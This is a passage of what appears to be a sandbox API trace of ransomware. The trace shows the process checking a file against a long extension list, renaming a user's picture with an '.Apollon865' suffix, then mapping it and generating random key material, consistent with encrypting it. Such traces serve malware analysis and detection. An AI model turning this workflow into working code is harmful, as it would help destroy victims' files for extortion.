	[0087.159] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.159] lstrlenW (lpString="db2") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.159] lstrlenW (lpString="db3") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.159] lstrlenW (lpString="dbf") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.159] lstrlenW (lpString="mdf") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.159] lstrlenW (lpString="mdb") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.159] lstrlenW (lpString="sql") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.159] lstrlenW (lpString="sqlite") returned 6
	[0087.159] lstrcmpiW (lpString1="hn.jpg", lpString2="sqlite") returned -1
	[0087.159] lstrlenW (lpString="sqlite3") returned 7
	[0087.159] lstrcmpiW (lpString1="Hhn.jpg", lpString2="sqlite3") returned -1
	[0087.159] lstrlenW (lpString="sqlitedb") returned 8
	[0087.159] lstrcmpiW (lpString1="oHhn.jpg", lpString2="sqlitedb") returned -1
	[0087.159] lstrlenW (lpString="xml") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.159] lstrlenW (lpString="$er") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.159] lstrlenW (lpString="4dd") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.159] lstrlenW (lpString="4dl") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.159] lstrlenW (lpString="^^^") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.159] lstrlenW (lpString="abs") returned 3
	[0087.159] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.159] lstrlenW (lpString="abx") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0087.160] lstrlenW (lpString="accdb") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accdb") returned 1
	[0087.160] lstrlenW (lpString="accdc") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accdc") returned 1
	[0087.160] lstrlenW (lpString="accde") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accde") returned 1
	[0087.160] lstrlenW (lpString="accdr") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accdr") returned 1
	[0087.160] lstrlenW (lpString="accdt") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accdt") returned 1
	[0087.160] lstrlenW (lpString="accdw") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accdw") returned 1
	[0087.160] lstrlenW (lpString="accft") returned 5
	[0087.160] lstrcmpiW (lpString1="n.jpg", lpString2="accft") returned 1
	[0087.160] lstrlenW (lpString="adb") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.160] lstrlenW (lpString="adb") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.160] lstrlenW (lpString="ade") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.160] lstrlenW (lpString="adf") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.160] lstrlenW (lpString="adn") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.160] lstrlenW (lpString="adp") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.160] lstrlenW (lpString="alf") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.160] lstrlenW (lpString="ask") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.160] lstrlenW (lpString="btr") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.160] lstrlenW (lpString="cat") returned 3
	[0087.160] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.160] lstrlenW (lpString="cdb") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.161] lstrlenW (lpString="ckp") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.161] lstrlenW (lpString="cma") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.161] lstrlenW (lpString="cpd") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.161] lstrlenW (lpString="dacpac") returned 6
	[0087.161] lstrcmpiW (lpString1="hn.jpg", lpString2="dacpac") returned 1
	[0087.161] lstrlenW (lpString="dad") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.161] lstrlenW (lpString="dadiagrams") returned 10
	[0087.161] lstrcmpiW (lpString1="BDoHhn.jpg", lpString2="dadiagrams") returned -1
	[0087.161] lstrlenW (lpString="daschema") returned 8
	[0087.161] lstrcmpiW (lpString1="oHhn.jpg", lpString2="daschema") returned 1
	[0087.161] lstrlenW (lpString="db-journal") returned 10
	[0087.161] lstrcmpiW (lpString1="BDoHhn.jpg", lpString2="db-journal") returned -1
	[0087.161] lstrlenW (lpString="db-shm") returned 6
	[0087.161] lstrcmpiW (lpString1="hn.jpg", lpString2="db-shm") returned 1
	[0087.161] lstrlenW (lpString="db-wal") returned 6
	[0087.161] lstrcmpiW (lpString1="hn.jpg", lpString2="db-wal") returned 1
	[0087.161] lstrlenW (lpString="dbc") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.161] lstrlenW (lpString="dbs") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.161] lstrlenW (lpString="dbt") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.161] lstrlenW (lpString="dbv") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.161] lstrlenW (lpString="dbx") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.161] lstrlenW (lpString="dcb") returned 3
	[0087.161] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.161] lstrlenW (lpString="dct") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.162] lstrlenW (lpString="dcx") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.162] lstrlenW (lpString="ddl") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.162] lstrlenW (lpString="dlis") returned 4
	[0087.162] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.162] lstrlenW (lpString="dp1") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.162] lstrlenW (lpString="dqy") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.162] lstrlenW (lpString="dsk") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.162] lstrlenW (lpString="dsn") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.162] lstrlenW (lpString="dtsx") returned 4
	[0087.162] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.162] lstrlenW (lpString="dxl") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.162] lstrlenW (lpString="eco") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.162] lstrlenW (lpString="ecx") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.162] lstrlenW (lpString="edb") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.162] lstrlenW (lpString="epim") returned 4
	[0087.162] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.162] lstrlenW (lpString="fcd") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.162] lstrlenW (lpString="fdb") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.162] lstrlenW (lpString="fic") returned 3
	[0087.162] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.163] lstrlenW (lpString="flexolibrary") returned 12
	[0087.163] lstrcmpiW (lpString1="50BDoHhn.jpg", lpString2="flexolibrary") returned -1
	[0087.163] lstrlenW (lpString="fm5") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.163] lstrlenW (lpString="fmp") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.163] lstrlenW (lpString="fmp12") returned 5
	[0087.163] lstrcmpiW (lpString1="n.jpg", lpString2="fmp12") returned 1
	[0087.163] lstrlenW (lpString="fmpsl") returned 5
	[0087.163] lstrcmpiW (lpString1="n.jpg", lpString2="fmpsl") returned 1
	[0087.163] lstrlenW (lpString="fol") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.163] lstrlenW (lpString="fp3") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.163] lstrlenW (lpString="fp4") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.163] lstrlenW (lpString="fp5") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.163] lstrlenW (lpString="fp7") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.163] lstrlenW (lpString="fpt") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.163] lstrlenW (lpString="frm") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.163] lstrlenW (lpString="gdb") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.163] lstrlenW (lpString="gdb") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.163] lstrlenW (lpString="grdb") returned 4
	[0087.163] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.163] lstrlenW (lpString="gwi") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.163] lstrlenW (lpString="hdb") returned 3
	[0087.163] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.164] lstrlenW (lpString="his") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.164] lstrlenW (lpString="ib") returned 2
	[0087.164] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.164] lstrlenW (lpString="idb") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.164] lstrlenW (lpString="ihx") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.164] lstrlenW (lpString="itdb") returned 4
	[0087.164] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.164] lstrlenW (lpString="itw") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.164] lstrlenW (lpString="jet") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.164] lstrlenW (lpString="jtx") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.164] lstrlenW (lpString="kdb") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.164] lstrlenW (lpString="kexi") returned 4
	[0087.164] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.164] lstrlenW (lpString="kexic") returned 5
	[0087.164] lstrcmpiW (lpString1="n.jpg", lpString2="kexic") returned 1
	[0087.164] lstrlenW (lpString="kexis") returned 5
	[0087.164] lstrcmpiW (lpString1="n.jpg", lpString2="kexis") returned 1
	[0087.164] lstrlenW (lpString="lgc") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.164] lstrlenW (lpString="lwx") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.164] lstrlenW (lpString="maf") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.164] lstrlenW (lpString="maq") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.164] lstrlenW (lpString="mar") returned 3
	[0087.164] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.164] lstrlenW (lpString="marshal") returned 7
	[0087.165] lstrcmpiW (lpString1="Hhn.jpg", lpString2="marshal") returned -1
	[0087.165] lstrlenW (lpString="mas") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.165] lstrlenW (lpString="mav") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.165] lstrlenW (lpString="maw") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.165] lstrlenW (lpString="mdbhtml") returned 7
	[0087.165] lstrcmpiW (lpString1="Hhn.jpg", lpString2="mdbhtml") returned -1
	[0087.165] lstrlenW (lpString="mdn") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.165] lstrlenW (lpString="mdt") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.165] lstrlenW (lpString="mfd") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.165] lstrlenW (lpString="mpd") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.165] lstrlenW (lpString="mrg") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.165] lstrlenW (lpString="mud") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.165] lstrlenW (lpString="mwb") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.165] lstrlenW (lpString="myd") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.165] lstrlenW (lpString="ndf") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.165] lstrlenW (lpString="nnt") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.165] lstrlenW (lpString="nrmlib") returned 6
	[0087.165] lstrcmpiW (lpString1="hn.jpg", lpString2="nrmlib") returned -1
	[0087.165] lstrlenW (lpString="ns2") returned 3
	[0087.165] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.165] lstrlenW (lpString="ns3") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.166] lstrlenW (lpString="ns4") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.166] lstrlenW (lpString="nsf") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.166] lstrlenW (lpString="nv") returned 2
	[0087.166] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.166] lstrlenW (lpString="nv2") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.166] lstrlenW (lpString="nwdb") returned 4
	[0087.166] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.166] lstrlenW (lpString="nyf") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.166] lstrlenW (lpString="odb") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.166] lstrlenW (lpString="odb") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.166] lstrlenW (lpString="oqy") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.166] lstrlenW (lpString="ora") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.166] lstrlenW (lpString="orx") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.166] lstrlenW (lpString="owc") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.166] lstrlenW (lpString="p96") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.166] lstrlenW (lpString="p97") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.166] lstrlenW (lpString="pan") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.166] lstrlenW (lpString="pdb") returned 3
	[0087.166] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.166] lstrlenW (lpString="pdm") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.167] lstrlenW (lpString="pnz") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.167] lstrlenW (lpString="qry") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.167] lstrlenW (lpString="qvd") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.167] lstrlenW (lpString="rbf") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.167] lstrlenW (lpString="rctd") returned 4
	[0087.167] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.167] lstrlenW (lpString="rod") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.167] lstrlenW (lpString="rodx") returned 4
	[0087.167] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.167] lstrlenW (lpString="rpd") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.167] lstrlenW (lpString="rsd") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0087.167] lstrlenW (lpString="sas7bdat") returned 8
	[0087.167] lstrcmpiW (lpString1="oHhn.jpg", lpString2="sas7bdat") returned -1
	[0087.167] lstrlenW (lpString="sbf") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.167] lstrlenW (lpString="scx") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.167] lstrlenW (lpString="sdb") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.167] lstrlenW (lpString="sdc") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.167] lstrlenW (lpString="sdf") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.167] lstrlenW (lpString="sis") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.167] lstrlenW (lpString="spq") returned 3
	[0087.167] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.168] lstrlenW (lpString="te") returned 2
	[0087.168] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.168] lstrlenW (lpString="teacher") returned 7
	[0087.168] lstrcmpiW (lpString1="Hhn.jpg", lpString2="teacher") returned -1
	[0087.168] lstrlenW (lpString="tmd") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.168] lstrlenW (lpString="tps") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.168] lstrlenW (lpString="trc") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.168] lstrlenW (lpString="trc") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.168] lstrlenW (lpString="trm") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.168] lstrlenW (lpString="udb") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.168] lstrlenW (lpString="udl") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.168] lstrlenW (lpString="usr") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.168] lstrlenW (lpString="v12") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.168] lstrlenW (lpString="vis") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.168] lstrlenW (lpString="vpd") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.168] lstrlenW (lpString="vvv") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.168] lstrlenW (lpString="wdb") returned 3
	[0087.168] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.168] lstrlenW (lpString="wmdb") returned 4
	[0087.168] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.168] lstrlenW (lpString="wrk") returned 3
	[0087.169] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.169] lstrlenW (lpString="xdb") returned 3
	[0087.169] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.169] lstrlenW (lpString="xld") returned 3
	[0087.169] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.169] lstrlenW (lpString="xmlff") returned 5
	[0087.169] lstrcmpiW (lpString1="n.jpg", lpString2="xmlff") returned -1
	[0087.169] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Vv9Uh-50BDoHhn.jpg.Apollon865") returned 68
	[0087.169] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Vv9Uh-50BDoHhn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vv9uh-50bdohhn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Vv9Uh-50BDoHhn.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vv9uh-50bdohhn.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Vv9Uh-50BDoHhn.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vv9uh-50bdohhn.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.170] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=55695) returned 1
	[0087.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.171] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.171] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.171] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.172] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc90, lpName=0x0) returned 0x15c
	[0087.172] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc90) returned 0x100000
	[0087.174] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.175] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.175] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.175] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.176] CloseHandle (hObject=0x15c) returned 1
	[0087.176] CloseHandle (hObject=0x9c) returned 1
	[0087.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.178] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b30bf0, ftCreationTime.dwHighDateTime=0x1d4c832, ftLastAccessTime.dwLowDateTime=0x6c6ac980, ftLastAccessTime.dwHighDateTime=0x1d4c62e, ftLastWriteTime.dwLowDateTime=0x6c6ac980, ftLastWriteTime.dwHighDateTime=0x1d4c62e, nFileSizeHigh=0x0, nFileSizeLow=0xd98f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vv9Uh-50BDoHhn.jpg", cAlternateFileName="VV9UH-~1.JPG")) returned 0
	[0087.178] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.178] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7990
	[0087.178] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY"
	[0087.178] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.178] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0087.178] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned 53
	[0087.178] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY"
